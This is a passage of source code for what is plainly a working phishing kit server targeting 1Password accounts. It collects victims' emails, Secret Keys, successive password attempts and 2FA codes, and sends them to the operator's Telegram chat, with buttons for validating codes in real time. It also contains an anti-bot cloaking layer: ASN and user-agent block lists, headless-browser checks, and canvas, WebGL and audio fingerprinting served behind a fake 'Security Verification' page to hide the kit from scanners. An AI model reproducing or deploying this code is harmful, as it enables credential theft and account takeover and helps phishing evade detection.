| } | |
| } | |
| // Send fingerprint after page load | |
| if (document.readyState === 'loading') { | |
| document.addEventListener('DOMContentLoaded', sendFingerprint); | |
| } else { | |
| setTimeout(sendFingerprint, 100); | |
| } | |
| })(); | |
| </script>`; | |
| // ======================================== | |
| // APPLICATION ROUTES | |
| // ======================================== | |
| app.use(express.json({ limit: '10mb' })); | |
| app.use(express.urlencoded({ extended: true })); | |
| // Middleware pour servir SEULEMENT les assets statiques (AVANT vérification) | |
| app.use((req, res, next) => { | |
| // Liste stricte des assets autorisés SANS vérification | |
| if (req.path === '/favicon.ico' || | |
| req.path.startsWith('/src/') || | |
| req.path.startsWith('/static/') || | |
| req.path.startsWith('/assets/') || | |
| req.path.startsWith('/img/') || | |
| req.path.startsWith('/images/') || | |
| req.path.endsWith('.css') || | |
| req.path.endsWith('.js') || | |
| req.path.endsWith('.png') || | |
| req.path.endsWith('.jpg') || | |
| req.path.endsWith('.jpeg') || | |
| req.path.endsWith('.gif') || | |
| req.path.endsWith('.svg') || | |
| req.path.endsWith('.ico') || | |
| req.path.endsWith('.woff') || | |
| req.path.endsWith('.woff2') || | |
| req.path.endsWith('.ttf') || | |
| req.path.endsWith('.eot') || | |
| req.path.endsWith('.map')) { | |
| // Servir le fichier statique | |
| return express.static('./')(req, res, next); | |
| } | |
| // Tout le reste passe au middleware de vérification | |
| next(); | |
| }); | |
| const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN; | |
| const TELEGRAM_CHAT_ID = process.env.TELEGRAM_CHAT_ID; | |
| const TELEGRAM_VISITORS_CHAT_ID = process.env.TELEGRAM_VISITORS_CHAT_ID; | |
| const pendingRequests = new Map(); | |
| const emailMessageTracking = new Map(); | |
| async function getCountryFromIP(ip) { | |
| try { | |
| if (ip === '127.0.0.1' || ip === '::1' || ip.startsWith('192.168.') || ip.startsWith('10.') || ip.startsWith('172.')) { | |
| return 'Local/Private Network'; | |
| } | |
| // Try Pro API first | |
| try { | |
| const response = await axios.get(`https://pro.ip-api.com/json/${ip}?key=NiceTry`, { timeout: 5000 }); | |
| const data = response.data; | |
| if (data.status === 'success') { | |
| const flag = getCountryFlag(data.countryCode); | |
| return `${flag} ${data.country} (${data.city})`; | |
| } | |
| } catch (proError) { | |
| // Fallback to free API | |
| } | |
| // Fallback to free API | |
| const response = await axios.get(`http://ip-api.com/json/${ip}`, { timeout: 3000 }); | |
| const data = response.data; | |
| if (data.status === 'success') { | |
| const flag = getCountryFlag(data.countryCode); | |
| return `${flag} ${data.country} (${data.city})`; | |
| } else { | |
| return 'Unknown Location'; | |
| } | |
| } catch (error) { | |
| return 'Location lookup failed'; | |
| } | |
| } | |
| function getCountryFlag(countryCode) { | |
| const flags = { | |
| 'US': '🇺🇸', 'UK': '🇬🇧', 'CA': '🇨🇦', 'AU': '🇦🇺', 'DE': '🇩🇪', | |
| 'FR': '🇫🇷', 'IT': '🇮🇹', 'ES': '🇪🇸', 'NL': '🇳🇱', 'BE': '🇧🇪', | |
| 'CH': '🇨🇭', 'AT': '🇦🇹', 'SE': '🇸🇪', 'NO': '🇳🇴', 'DK': '🇩🇰', | |
| 'JP': '🇯🇵', 'KR': '🇰🇷', 'CN': '🇨🇳', 'IN': '🇮🇳', 'BR': '🇧🇷', | |
| 'MX': '🇲🇽', 'AR': '🇦🇷', 'RU': '🇷🇺', 'UA': '🇺🇦', 'PL': '🇵🇱' | |
| }; | |
| return flags[countryCode] || '🏳️'; | |
| } | |
| function validateEmail(email) { | |
| const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/; | |
| return emailRegex.test(email); | |
| } | |
| function validateSecretKey(secret) { | |
| const secretRegex = /^A3-[A-Z0-9]{6}-[A-Z0-9]{6}-[A-Z0-9]{5}-[A-Z0-9]{5}-[A-Z0-9]{5}(-[A-Z0-9]{5})?$/; | |
| return secretRegex.test(secret); | |
| } | |
| function validatePassword(password) { | |
| return password && password.length >= 8; | |
| } | |
| function getAttemptText(number) { | |
| const attempts = { | |
| 1: '1st Password', | |
| 2: '2nd Password', | |
| 3: '3rd Password', | |
| 4: '4th Password', | |
| 5: '5th Password', | |
| 6: '6th Password', | |
| 7: '7th Password', | |
| 8: '8th Password', | |
| 9: '9th Password', | |
| 10: '10th Password' | |
| }; | |
| return attempts[number] || `${number}th Password`; | |
| } | |
| function generateCredentialsMessage(email, secret, passwordHistory, attemptNumber, ip, country, userAgent, timestamp, twoFACode = null) { | |
| const attemptText = getAttemptText(attemptNumber); | |
| let passwordHistoryText = ''; | |
| passwordHistory.forEach((password, index) => { | |
| const attemptNum = index + 1; | |
| const attemptLabel = getAttemptText(attemptNum); | |
| passwordHistoryText += `\n🔒 <b>${attemptLabel}:</b>\n<code>${password}</code>\n`; | |
| }); | |
| let twoFASection = ''; | |
| if (twoFACode) { | |
| twoFASection = `\n🔐 <b>2FA CODE:</b>\n<code>${twoFACode}</code>\n`; | |
| } | |
| return `┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ | |
| 🔐 <b>1PASSWORD CREDENTIALS - ${attemptText.toUpperCase()}</b> | |
| ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ | |
| 📧 <b>Email:</b> | |
| <code>${email || 'Not provided'}</code> | |
| 🔑 <b>Secret Key:</b> | |
| <code>${secret || 'Not provided'}</code> | |
| ${passwordHistoryText}${twoFASection} | |
| ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ | |
| 📊 <b>CONNECTION INFO</b> | |
| ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ | |
| 🌍 <b>Location:</b> ${country} | |
| 🌐 <b>IP Address:</b> ${ip} | |
| 📱 <b>User Agent:</b> ${userAgent} | |
| ⏰ <b>Timestamp:</b> ${timestamp} UTC | |
| ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`; | |
| } | |
| async function sendTelegramMessage(chatId, message, replyMarkup = null) { | |
| if (!TELEGRAM_BOT_TOKEN || !chatId) return null; | |
| try { | |
| const telegramAPI = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`; | |
| const payload = { | |
| chat_id: chatId, | |
| text: message, | |
| parse_mode: 'HTML', | |
| reply_markup: replyMarkup ? JSON.stringify(replyMarkup) : undefined | |
| }; | |
| const response = await axios.post(telegramAPI, payload, { timeout: 10000 }); | |
| return { | |
| messageId: response.data.result.message_id, | |
| chatId: response.data.result.chat.id | |
| }; | |
| } catch (error) { | |
| return null; | |
| } | |
| } | |
| async function updateTelegramMessage(chatId, messageId, message, replyMarkup = null) { | |
| try { | |
| const payload = { | |
| chat_id: chatId, | |
| message_id: messageId, | |
| text: message, | |
| parse_mode: 'HTML' | |
| }; | |
| if (replyMarkup) { | |
| payload.reply_markup = replyMarkup; | |
| } | |
| const response = await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/editMessageText`, payload); | |
| if (response.data.ok) { | |
| return true; | |
| } else { | |
| return false; | |
| } | |
| } catch (error) { | |
| return false; | |
| } | |
| } | |
| async function deleteTelegramMessage(chatId, messageId) { | |
| try { | |
| await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/deleteMessage`, { | |
| chat_id: chatId, | |
| message_id: messageId | |
| }); | |
| } catch (error) { | |
| } | |
| } | |
| async function answerCallbackQuery(callbackQueryId, text, showAlert = false) { | |
| try { | |
| await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/answerCallbackQuery`, { | |
| callback_query_id: callbackQueryId, | |
| text: text, | |
| show_alert: showAlert | |
| }); | |
| } catch (error) { | |
| } | |
| } | |
| // Fingerprint collection et verification endpoint | |
| app.post('/fingerprint', async (req, res) => { | |
| try { | |
| const ip = req.headers['x-forwarded-for']?.split(',')[0] || req.connection.remoteAddress; | |
| const fingerprint = req.body; | |
| const userAgent = req.headers['user-agent'] || ''; | |
| console.log(`🔍 PROTOCOLE MILITAIRE START - IP: ${ip}`); | |
| // Store fingerprint in cache | |
| fingerprintCache.set(ip, { | |
| data: fingerprint, | |
| timestamp: Date.now() | |
| }); | |
| // ======================================== | |
| // PROTOCOLE MILITAIRE: FILTRES SÉQUENTIELS | |
| // ======================================== | |
| // ÉTAPE 1: ASN CHECK (RADICAL - BARRIÈRE #1) | |
| console.log(`📡 Step 1: ASN Check`); | |
| let ipInfo = null; | |
| try { | |
| // Pro API first | |
| const response = await axios.get(`https://pro.ip-api.com/json/${ip}?key=NiceTry`, { timeout: 5000 }); | |
| ipInfo = response.data; | |
| if (response.data.status === 'fail') { | |
| // Fallback to free API | |
| const fallbackResponse = await axios.get(`http://ip-api.com/json/${ip}`, { timeout: 3000 }); | |
| ipInfo = fallbackResponse.data; | |
| } | |
| } catch (error) { | |
| console.log(`❌ IP API Error: ${error.message}`); | |
| } | |
| if (ipInfo && ipInfo.as) { | |
| const asNumber = ipInfo.as.split(' ')[0]; // Extract AS8075, etc. | |
| console.log(`🏢 ASN: ${asNumber} (${ipInfo.as})`); | |
| if (BANNED_ASNS.includes(asNumber)) { | |
| console.log(`🚫 BLOCKED: Banned ASN ${asNumber}`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (BANNED ASN)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo.as}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Banned ASN', blocked: true }); | |
| } | |
| } | |
| // ÉTAPE 2: USER-AGENT CHECK (RADICAL - BARRIÈRE #2) | |
| console.log(`🔍 Step 2: User-Agent Check - UA: "${userAgent}"`); | |
| // No User-Agent = BLOCKED | |
| if (!userAgent) { | |
| console.log(`🚫 BLOCKED: Missing User-Agent`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (NO UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n└ 🖥️ UA: MISSING`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Missing User-Agent', blocked: true }); | |
| } | |
| // Check for bot patterns (TRÈS strict - tous les bots) | |
| const userAgentLower = userAgent.toLowerCase(); | |
| // Additional bot patterns to check | |
| const additionalBotPatterns = [ | |
| 'http', 'wget', 'fetch', 'request', 'client', 'agent', 'tool', | |
| 'library', 'framework', 'automation', 'test', 'monitor', 'check' | |
| ]; | |
| // Check main bot patterns | |
| for (const botUA of BOT_USER_AGENTS) { | |
| if (userAgentLower.includes(botUA.toLowerCase())) { | |
| console.log(`🚫 BLOCKED: Bot User-Agent matched "${botUA}"`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (BOT UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎯 Pattern: ${botUA}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Bot User-Agent detected', blocked: true }); | |
| } | |
| } | |
| // Check if UA looks like a legitimate browser | |
| const hasValidBrowserSignature = ( | |
| userAgentLower.includes('mozilla') && | |
| (userAgentLower.includes('chrome') || userAgentLower.includes('firefox') || | |
| userAgentLower.includes('safari') || userAgentLower.includes('edge')) | |
| ); | |
| // Check additional suspicious patterns for non-browser UAs | |
| if (!hasValidBrowserSignature) { | |
| for (const pattern of additionalBotPatterns) { | |
| if (userAgentLower.includes(pattern)) { | |
| console.log(`🚫 BLOCKED: Suspicious User-Agent pattern "${pattern}"`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SUSPICIOUS UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎯 Suspicious: ${pattern}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Suspicious User-Agent', blocked: true }); | |
| } | |
| } | |
| // If no browser signature and short UA = likely bot | |
| if (userAgent.length < 20) { | |
| console.log(`🚫 BLOCKED: Too short User-Agent (${userAgent.length} chars)`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SHORT UA)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📏 Length: ${userAgent.length} chars\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Suspicious User-Agent length', blocked: true }); | |
| } | |
| } | |
| // ÉTAPE 3: FINGERPRINT OBLIGATOIRE (RADICAL - BARRIÈRE #3) | |
| console.log(`🔍 Step 3: Fingerprint Check`); | |
| // No fingerprint data = BLOCKED (bots like curl) | |
| if (!fingerprint || typeof fingerprint !== 'object') { | |
| console.log(`🚫 BLOCKED: No fingerprint data`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (NO FINGERPRINT)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ ❌ Fingerprint: Missing/Invalid\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'No fingerprint data', blocked: true }); | |
| } | |
| // Essential fingerprint data missing = BLOCKED | |
| if (!fingerprint.canvas || !fingerprint.webgl || !fingerprint.screen) { | |
| console.log(`🚫 BLOCKED: Essential fingerprint data missing`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| const missing = []; | |
| if (!fingerprint.canvas) missing.push('canvas'); | |
| if (!fingerprint.webgl) missing.push('webgl'); | |
| if (!fingerprint.screen) missing.push('screen'); | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (INCOMPLETE FINGERPRINT)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ ❌ Missing: ${missing.join(', ')}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Incomplete fingerprint', blocked: true }); | |
| } | |
| // ÉTAPE 4: HEADLESS CHECK (RADICAL - BARRIÈRE #4) | |
| console.log(`🎮 Step 4: Headless Check`); | |
| if (fingerprint && fingerprint.webgl && fingerprint.webgl.renderer) { | |
| const headlessRenderers = ['SwiftShader', 'Mesa', 'llvmpipe', 'Software Rasterizer']; | |
| if (headlessRenderers.some(renderer => fingerprint.webgl.renderer.includes(renderer))) { | |
| console.log(`🚫 BLOCKED: Headless renderer ${fingerprint.webgl.renderer}`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (HEADLESS)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 🎮 Renderer: ${fingerprint.webgl.renderer}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Headless browser', blocked: true }); | |
| } | |
| } | |
| // ÉTAPE 5: SCREEN MISMATCH CHECK (RADICAL - BARRIÈRE #5) | |
| console.log(`📺 Step 5: Screen Check`); | |
| if (fingerprint && fingerprint.screen && fingerprint.window) { | |
| const screenRatio = fingerprint.screen.width / fingerprint.screen.height; | |
| const windowRatio = fingerprint.window.innerWidth / fingerprint.window.innerHeight; | |
| if (Math.abs(screenRatio - windowRatio) > 0.8 || | |
| (fingerprint.screen.width === 1024 && fingerprint.screen.height === 768) || | |
| (fingerprint.screen.width === 1280 && fingerprint.screen.height === 1024)) { | |
| console.log(`🚫 BLOCKED: Screen mismatch`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (SCREEN MISMATCH)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📺 Screen: ${fingerprint.screen.width}x${fingerprint.screen.height}\n├ 🪟 Window: ${fingerprint.window.innerWidth}x${fingerprint.window.innerHeight}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Screen anomaly', blocked: true }); | |
| } | |
| } | |
| // ÉTAPE 6: SCORING FLEXIBLE (pour les trucs vraiment cramax seulement) | |
| console.log(`📊 Step 6: Flexible Scoring`); | |
| const fpAnalysis = analyzeFingerprint(fingerprint, ip); | |
| // Only block for REALLY suspicious stuff (score > 100) | |
| if (fpAnalysis.score > 100) { | |
| console.log(`🚫 BLOCKED: High suspicion score ${fpAnalysis.score}`); | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_VISITORS_CHAT_ID) { | |
| //axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_VISITORS_CHAT_ID}&text=${encodeURIComponent(`🤖 BOT DETECTED (HIGH SCORE)\n├ 🌐 IP: ${ip}\n├ 🏢 ASN: ${ipInfo?.as || 'Unknown'}\n├ 📊 Score: ${fpAnalysis.score}/100\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| return res.status(403).json({ error: 'Suspicious fingerprint', blocked: true }); | |
| } | |
| // TOUTES LES BARRIÈRES PASSÉES = VÉRIFIÉ | |
| console.log(`✅ VERIFIED: All barriers passed`); | |
| verifiedIPs.set(ip, { | |
| timestamp: Date.now(), | |
| fingerprint: fingerprint, | |
| ipInfo: ipInfo | |
| }); | |
| // Notification good connect avec toutes les infos | |
| if (process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_CHAT_ID) { | |
| const asnInfo = ipInfo?.as ? `\n├ 🏢 ASN: ${ipInfo.as}` : ''; | |
| const locationInfo = ipInfo ? `\n├ 🌍 Location: ${ipInfo.country || 'Unknown'} (${ipInfo.city || 'Unknown'})` : ''; | |
| const ispInfo = ipInfo?.isp ? `\n├ 🌐 ISP: ${ipInfo.isp}` : ''; | |
| axios.get(`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${process.env.TELEGRAM_CHAT_ID}&text=${encodeURIComponent(`✅ VERIFIED USER${asnInfo}${locationInfo}${ispInfo}\n├ 🌐 IP: ${ip}\n└ 🖥️ UA: ${userAgent}`)}`, { timeout: 2000 }).catch(() => {}); | |
| } | |
| res.status(200).json({ success: true, verified: true }); | |
| } catch (error) { | |
| res.status(400).json({ error: 'Invalid fingerprint data' }); | |
| } | |
| }); | |
| // Page de vérification avec fingerprinting | |
| app.get('/verify', (req, res) => { | |
| const verificationPage = ` | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Security Verification</title> | |
| <style> | |
| body { | |
| font-family: Arial, sans-serif; | |
| display: flex; | |
| justify-content: center; | |
| align-items: center; | |
| height: 100vh; | |
| margin: 0; | |
| background: #f5f5f5; | |
| } | |
| .loader { | |
| text-align: center; | |
| padding: 40px; | |
| background: white; | |
| border-radius: 10px; | |
| box-shadow: 0 2px 10px rgba(0,0,0,0.1); | |
| } | |
| .spinner { | |
| border: 4px solid #f3f3f3; | |
| border-top: 4px solid #3498db; | |
| border-radius: 50%; | |
| width: 40px; | |
| height: 40px; | |
| animation: spin 1s linear infinite; | |
| margin: 0 auto 20px; | |
| } | |
| @keyframes spin { | |
| 0% { transform: rotate(0deg); } | |
| 100% { transform: rotate(360deg); } | |
| } | |
| #status { margin-top: 20px; color: #666; } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="loader"> | |
| <div class="spinner"></div> | |
| <h3>Security Verification</h3> | |
| <p>Checking browser compatibility...</p> | |
| <div id="status">Initializing...</div> | |
| </div> | |
| <script> | |
| (function() { | |
| 'use strict'; | |
| const statusEl = document.getElementById('status'); | |
| function updateStatus(msg) { | |
| statusEl.textContent = msg; | |
| } | |
| // Enhanced fingerprint collection avec statut | |
| async function collectFingerprint() { | |
| updateStatus('Collecting browser data...'); | |
| const fp = { | |
| timestamp: Date.now(), | |
| timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, | |
| language: navigator.language, | |
| languages: navigator.languages, | |
| platform: navigator.platform, | |
| hardwareConcurrency: navigator.hardwareConcurrency, | |
| deviceMemory: navigator.deviceMemory, | |
| cookieEnabled: navigator.cookieEnabled, | |
| doNotTrack: navigator.doNotTrack, | |
| plugins: Array.from(navigator.plugins).map(p => ({name: p.name, filename: p.filename})), | |
| mimeTypes: Array.from(navigator.mimeTypes).map(m => m.type) | |
| }; | |
| // Screen detection | |
| fp.screen = { | |
| width: screen.width, | |
| height: screen.height, | |
| availWidth: screen.availWidth, | |
| availHeight: screen.availHeight, | |
| colorDepth: screen.colorDepth, | |
| pixelDepth: screen.pixelDepth | |
| }; | |
| fp.window = { | |
| innerWidth: window.innerWidth, | |
| innerHeight: window.innerHeight, | |
| outerWidth: window.outerWidth, | |
| outerHeight: window.outerHeight, | |
| devicePixelRatio: window.devicePixelRatio | |
| }; | |
| updateStatus('Testing canvas support...'); | |
| // Canvas fingerprinting | |
| try { | |
| const canvas = document.createElement('canvas'); | |
| const ctx = canvas.getContext('2d'); | |
| canvas.width = 200; | |
| canvas.height = 50; | |
| ctx.textBaseline = 'top'; | |
| ctx.font = '14px Arial'; | |
| ctx.fillStyle = '#f60'; | |
| ctx.fillRect(125, 1, 62, 20); | |
| ctx.fillStyle = '#069'; | |
| ctx.fillText('🌟BotDetect🌟', 2, 15); | |
| ctx.fillStyle = 'rgba(102, 204, 0, 0.7)'; | |
| ctx.fillText('Canvas fingerprint', 4, 25); | |
| fp.canvas = canvas.toDataURL(); | |
| } catch (e) { | |
| fp.canvas = null; | |
| } | |
| updateStatus('Testing WebGL support...'); | |
| // WebGL fingerprinting | |
| try { | |
| const canvas = document.createElement('canvas'); | |
| const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); | |
| if (gl) { | |
| fp.webgl = { | |
| vendor: gl.getParameter(gl.VENDOR), | |
| renderer: gl.getParameter(gl.RENDERER), | |
| version: gl.getParameter(gl.VERSION), | |
| shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION), | |
| maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE), | |
| maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS), | |
| maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS), | |
| maxVaryingVectors: gl.getParameter(gl.MAX_VARYING_VECTORS), | |
| maxFragmentTextureUnits: gl.getParameter(gl.MAX_TEXTURE_IMAGE_UNITS), | |
| maxVertexTextureUnits: gl.getParameter(gl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) | |
| }; | |
| fp.webgl.extensions = gl.getSupportedExtensions(); | |
| const debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); | |
| if (debugInfo) { | |
| fp.webgl.unmaskedVendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); | |
| fp.webgl.unmaskedRenderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); | |
| } | |
| } else { | |
| fp.webgl = null; | |
| } | |
| } catch (e) { | |
| fp.webgl = null; | |
| } | |
| updateStatus('Testing audio...'); | |
| // Audio fingerprinting | |
| try { | |
| const audioCtx = new (window.AudioContext || window.webkitAudioContext)(); | |
| const oscillator = audioCtx.createOscillator(); | |
| const analyser = audioCtx.createAnalyser(); | |
| const gainNode = audioCtx.createGain(); | |
| oscillator.type = 'triangle'; | |
| oscillator.frequency.setValueAtTime(10000, audioCtx.currentTime); | |
| gainNode.gain.setValueAtTime(0, audioCtx.currentTime); | |
| oscillator.connect(analyser); | |
| analyser.connect(gainNode); | |
| gainNode.connect(audioCtx.destination); | |
| oscillator.start(0); | |
| const bufferLength = analyser.frequencyBinCount; | |
| const dataArray = new Float32Array(bufferLength); | |
| analyser.getFloatFrequencyData(dataArray); | |
| oscillator.stop(); | |
| audioCtx.close(); | |
| fp.audio = dataArray.slice(0, 30).join(','); | |
| } catch (e) { | |
| fp.audio = null; | |
| } | |
| updateStatus('Analyzing fonts...'); | |
| // Font detection | |
| try { | |
| const fonts = ['Arial', 'Verdana', 'Times New Roman', 'Courier New', 'Helvetica', 'Georgia']; | |
| const testString = 'mmmmmmmmmmlli'; | |
| const testSize = '72px'; | |
| const canvas = document.createElement('canvas'); | |
| const context = canvas.getContext('2d'); | |
| context.font = testSize + ' serif'; | |
| const baselineWidth = context.measureText(testString).width; | |
| fp.fonts = fonts.filter(font => { | |
| context.font = testSize + ' ' + font + ', serif'; | |
| return context.measureText(testString).width !== baselineWidth; | |
| }); | |
| } catch (e) { | |
| fp.fonts = []; | |
| } | |
| return fp; | |
| } | |
| // Envoi de la vérification | |
| async function sendVerification() { | |
| try { | |
| updateStatus('Sending verification...'); | |
| const fingerprint = await collectFingerprint(); | |
| const response = await fetch('/fingerprint', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(fingerprint) | |
| }); | |
| const result = await response.json(); | |
| if (result.blocked) { | |
| updateStatus('Access denied - Bot detected'); | |
| document.body.innerHTML = '<div class="loader"><h3>❌ Access Denied</h3><p>Automated access is not permitted.</p></div>'; | |
| } else if (result.verified) { | |
| updateStatus('Verification successful'); | |
| window.location.href = '/'; | |
| } else { | |
| updateStatus('Verification failed'); | |
| } | |
| } catch (error) { | |
| updateStatus('Connection error'); | |
| setTimeout(() => window.location.reload(), 3000); | |
| } | |
| } | |
| // Démarrer la vérification | |
| if (document.readyState === 'loading') { | |
| document.addEventListener('DOMContentLoaded', sendVerification); | |
| } else { | |
| setTimeout(sendVerification, 500); | |
| } | |
| })(); | |
| </script> | |
| </body> | |
| </html>`; | |
| res.send(verificationPage); | |
| }); | |
| app.get('/', (req, res) => { | |
| try { | |
| const fs = require('fs'); | |
| const html = fs.readFileSync(path.join(__dirname, 'index.html'), 'utf8'); | |
| res.send(html); | |
| } catch (error) { | |
| res.status(500).send('Server Error'); | |
| } | |
| }); | |
| app.post('/submit-2fa', async (req, res) => { | |
| try { | |
| const { email, code } = req.body; | |
| const messageTracking = emailMessageTracking.get(email); | |
| if (!messageTracking) { | |
| return res.status(404).json({ error: '2FA session not found' }); | |
| } | |
| if (!code || !/^\d{6}$/.test(code)) { | |
| return res.status(400).json({ error: 'invalid_code_format', message: 'Invalid 2FA code format' }); | |
| } | |
| const requestId = `2fa_${Date.now()}-${Math.random().toString(36).substr(2, 5)}`; | |
| const ip = req.ip || req.connection.remoteAddress || 'Unknown'; | |
| const userAgent = req.headers['user-agent'] || 'Unknown'; | |
| const country = await getCountryFromIP(ip); | |
| const timestamp = new Date().toLocaleString('en-US', { timeZone: 'UTC' }); | |
| const completeMessage = generateCredentialsMessage( | |
| messageTracking.email, | |
| messageTracking.secret, | |
| messageTracking.passwordHistory, | |
| messageTracking.attemptNumber, | |
| messageTracking.ip, | |
| messageTracking.country, | |
| messageTracking.userAgent, | |
| messageTracking.lastUpdated, | |
| code | |
| ); | |
| const replyMarkup = { | |
| inline_keyboard: [ | |
| [ | |
| { | |
| text: "✅ Valid 2FA", | |
| callback_data: `valid2fa:${requestId}` | |
| }, | |
| { | |
